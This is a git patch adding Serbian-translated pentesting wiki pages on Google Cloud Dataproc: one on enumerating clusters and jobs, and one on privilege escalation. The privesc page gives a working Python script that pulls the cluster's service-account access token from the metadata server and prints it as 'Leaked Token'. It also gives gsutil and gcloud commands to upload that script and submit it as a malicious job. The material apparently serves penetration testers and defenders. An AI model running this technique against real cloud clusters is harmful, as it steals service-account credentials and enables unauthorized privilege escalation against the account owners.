From 1f29f00ebdd0218fd54e1e823b1093931f08fde1 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 26 Jan 2025 21:46:27 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/ --- .../gcp-dataproc-privesc.md | 54 +++++++++++++++++++ .../gcp-services/gcp-dataproc-enum.md | 43 +++++++++++++++ 2 files changed, 97 insertions(+) create mode 100644 src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md create mode 100644 src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md new file mode 100644 index 000000000..d124e11b5 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md @@ -0,0 +1,54 @@ +# GCP Dataproc Privilege Escalation + +{{#include ../../../banners/hacktricks-training.md}} + +## Dataproc + +{{#ref}} +../gcp-services/gcp-dataproc-enum.md +{{#endref}} + +### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get` + +Nisam mogao da dobijem reverznu školjku koristeći ovu metodu, međutim, moguće je da se iscuri SA token sa metadata endpoint-a koristeći metodu opisanu u nastavku. + +#### Koraci za eksploataciju + +- Postavite skriptu posla na GCP Bucket + +- Pošaljite posao na Dataproc klaster. + +- Koristite posao za pristup metadata serveru. + +- Iscurite token servisnog naloga koji koristi klaster. +```python +import requests + +metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token" +headers = {"Metadata-Flavor": "Google"} + +def fetch_metadata_token(): +try: +response = requests.get(metadata_url, headers=headers, timeout=5) +response.raise_for_status() +token = response.json().get("access_token", "") +print(f"Leaked Token: {token}") +return token +except Exception as e: +print(f"Error fetching metadata token: {e}") +return None + +if __name__ == "__main__": +fetch_metadata_token() +``` + +```bash +# Copy the script to the storage bucket +gsutil cp gs:/// + +# Submit the malicious job +gcloud dataproc jobs submit pyspark gs:/// \ +--cluster= \ +--region= +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md new file mode 100644 index 000000000..9e936df77 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md @@ -0,0 +1,43 @@ +# GCP - Dataproc Enum + +{{#include ../../../banners/hacktricks-training.md}} + +## Osnovne Informacije + +Google Cloud Dataproc je potpuno upravljana usluga za pokretanje Apache Spark, Apache Hadoop, Apache Flink i drugih okvira za velike podatke. Primarno se koristi za obradu podataka, upite, mašinsko učenje i analitiku u realnom vremenu. Dataproc omogućava organizacijama da lako kreiraju klastere za distribuirano računanje, besprekorno se integrišući sa drugim uslugama Google Cloud Platform (GCP) kao što su Cloud Storage, BigQuery i Cloud Monitoring. + +Dataproc klasteri rade na virtuelnim mašinama (VM), a servisni nalog povezan sa ovim VM-ovima određuje dozvole i nivo pristupa klasteru. + +## Komponente + +Dataproc klaster obično uključuje: + +Master Node: Upravljanje resursima klastera i koordinacija distribuiranih zadataka. + +Worker Nodes: Izvršavanje distribuiranih zadataka. + +Service Accounts: Rukovanje API pozivima i pristup drugim GCP uslugama. + +## Enumeracija + +Dataproc klasteri, poslovi i konfiguracije mogu se enumerisati kako bi se prikupile osetljive informacije, kao što su servisni nalozi, dozvole i potencijalne pogrešne konfiguracije. + +### Enumeracija Klastera + +Da biste enumerisali Dataproc klastere i preuzeli njihove detalje: +``` +gcloud dataproc clusters list --region= +gcloud dataproc clusters describe --region= +``` +### Enumeracija poslova +``` +gcloud dataproc jobs list --region= +gcloud dataproc jobs describe --region= +``` +### Privesc + +{{#ref}} +../gcp-privilege-escalation/gcp-dataproc-privesc.md +{{#endref}} + +{{#include ../../../banners/hacktricks-training.md}}